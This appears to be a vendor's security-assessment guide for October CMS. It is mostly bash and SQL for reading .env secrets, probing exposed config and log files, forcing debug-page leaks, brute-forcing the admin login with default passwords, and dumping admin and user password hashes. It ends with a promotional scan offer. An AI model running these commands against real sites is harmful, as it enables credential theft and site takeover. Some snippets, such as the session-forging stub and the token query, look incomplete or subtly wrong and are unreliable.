October CMS is a popular Laravel-based PHP CMS used across thousands of business websites. Key assessment areas: the .env file contains APP_KEY (used to sign and encrypt all Laravel session cookies, enabling session forgery as any user) and DB_PASSWORD (MySQL access); the backend admin panel at /backend accepts admin credentials with bcrypt hashing; Laravel debug mode can leak the full .env contents in error responses; and backend_users exposes administrator accounts. This guide covers systematic October CMS security assessment.
# October CMS — .env APP_KEY and DB_PASSWORD extraction
OCT_URL="https://site.example.com"
# .env file — Laravel application key and database credentials
cat /var/www/octobercms/.env 2>/dev/null
# APP_KEY=base64:... <-- 32-byte base64-encoded AES key (CRITICAL)
# APP_DEBUG=true <-- Debug mode leaks stack traces + .env
# DB_HOST=localhost
# DB_DATABASE=october
# DB_USERNAME=october
# DB_PASSWORD=... <-- MySQL password (CRITICAL)
# MAIL_PASSWORD=...
# AWS_SECRET_ACCESS_KEY=...
python3 -c "
content = open('/var/www/octobercms/.env').read()
for line in content.split('\n'):
if any(k in line for k in ['APP_KEY','DB_PASSWORD','MAIL_PASSWORD','AWS_SECRET','APP_DEBUG']):
print(line[:80])
" 2>/dev/null
# Check .env web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OCT_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"
# Laravel debug mode — expose APP_KEY via triggered 500 error
# Trigger a deliberate error to expose debug output
curl -s "${OCT_URL}/nonexistent-page-to-trigger-500" 2>/dev/null | \
grep -E "APP_KEY|DB_PASSWORD|Whoops|laravel" | head -5
# storage/.env and config/database.php
for CONFIG in "storage/logs/laravel.log" "config/database.php" "config/app.php"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OCT_URL}/${CONFIG}" 2>/dev/null)
echo "/${CONFIG}: HTTP ${STATUS}"
done
# October CMS backend admin panel — credential and debug mode assessment
OCT_URL="https://site.example.com"
# October CMS backend admin panel
# Default path: /backend or /admin (configurable in config/cms.php backendUri)
for ADMIN_PATH in "/backend" "/admin" "/cms"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OCT_URL}${ADMIN_PATH}/" 2>/dev/null)
echo "${ADMIN_PATH}: HTTP ${STATUS}"
done
# October CMS login — admin credential brute-force
for CRED in "admin:admin" "admin:password" "admin:Admin123" "admin:october"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token first
CSRF=$(curl -s "${OCT_URL}/backend/backend/auth/signin" 2>/dev/null | \
grep -oP 'name="_token" value="\K[^"]+' | head -1)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${OCT_URL}/backend/backend/auth/signin" \
-d "_token=${CSRF}&postback=1&login=${USER}&password=${PASS}" \
-c /tmp/oct_c -b /tmp/oct_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Laravel APP_KEY forgery — forge session cookie as any user
# If APP_KEY is extracted from .env:
APP_KEY="base64:extracted-key-here"
python3 -c "
import base64, json
# October CMS uses Laravel session encryption with APP_KEY
# With APP_KEY, forge session cookie for user_id=1 (first admin)
key_bytes = base64.b64decode(APP_KEY.replace('base64:',''))
print(f'Key length: {len(key_bytes)} bytes (AES-256 requires 32 bytes)')
print('With key, use laravel-session-forge tool to create valid admin session cookies')
" 2>/dev/null
# Check for debug mode exposure
curl -s "${OCT_URL}/backend" 2>/dev/null | grep -i "whoops\|debug\|APP_KEY\|exception" | head -3
# October CMS MySQL database — backend_users hash and admin account extraction
DB_PASS="extracted-db-password"
mysql -u october -p"${DB_PASS}" october 2>/dev/null << 'EOF'
-- October CMS backend_users — admin accounts with bcrypt hashes
SELECT u.id, u.first_name, u.last_name,
u.email, u.password, -- bcrypt hash
u.is_superuser, -- 1 = full admin access
u.is_activated, u.is_guest,
u.last_login, u.created_at,
u.updated_at
FROM backend_users u
WHERE u.deleted_at IS NULL
ORDER BY u.id;
-- password: bcrypt cost 10 — crackable with hashcat mode 3200 (slow)
-- is_superuser=1: unrestricted backend access
-- Password reset tokens (backend_user_tokens)
SELECT t.user_id, t.token,
t.created_at, u.email
FROM backend_user_throttle t
JOIN backend_users u ON u.id = t.user_id
ORDER BY t.created_at DESC
LIMIT 10;
-- October CMS user roles (backend_user_roles)
SELECT r.id, r.name, r.code, r.description,
r.permissions, r.created_at
FROM backend_user_roles r
ORDER BY r.id;
-- Frontend user accounts (rainlab_user_users if RainLab.User plugin installed)
SELECT u.id, u.name, u.email, u.password,
u.username, u.is_activated,
u.created_at, u.last_seen
FROM rainlab_user_users u
WHERE u.deleted_at IS NULL
ORDER BY u.id
LIMIT 20;
-- Check for stored credentials in October CMS settings
SELECT item, value FROM system_settings
WHERE item LIKE '%password%' OR item LIKE '%secret%' OR item LIKE '%key%'
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env APP_KEY extraction enabling Laravel session cookie forgery | Read /var/www/octobercms/.env or web-exposed /.env — APP_KEY used to forge session cookies for any user without password; impersonate admins or frontend users | Critical |
| Laravel debug mode APP_KEY leakage via error pages | Trigger 500 error with APP_DEBUG=true — full .env contents including APP_KEY and DB_PASSWORD exposed in Whoops error page to unauthenticated users | Critical |
| .env DB_PASSWORD MySQL credential extraction | Read /.env — database credentials enabling full backend_users bcrypt hash extraction and all CMS content access | High |
| backend_users bcrypt hash extraction with superuser identification | MySQL SELECT is_superuser, password FROM backend_users — bcrypt hashes (mode 3200); is_superuser=1 accounts have unrestricted backend access | High |
| Admin credential brute-force at /backend/backend/auth/signin | POST /backend/backend/auth/signin — admin/admin or common passwords; no lockout on many configurations; admin session enables full CMS control and file upload RCE | High |
Ironimo tests October CMS deployments for .env APP_KEY and DB_PASSWORD web exposure at /.env and /.env.backup, Laravel APP_DEBUG=true debug mode .env contents leakage via triggered error pages, admin/admin brute-force at /backend/backend/auth/signin, backend_users table bcrypt hash extraction with is_superuser=1 administrator identification, rainlab_user_users frontend user hash extraction if RainLab.User plugin installed, system_settings table credential value enumeration, storage/logs/laravel.log web accessibility assessment for credential leakage, backend_user_roles permission configuration audit, and October CMS version disclosure for CVE targeting.
Start free scan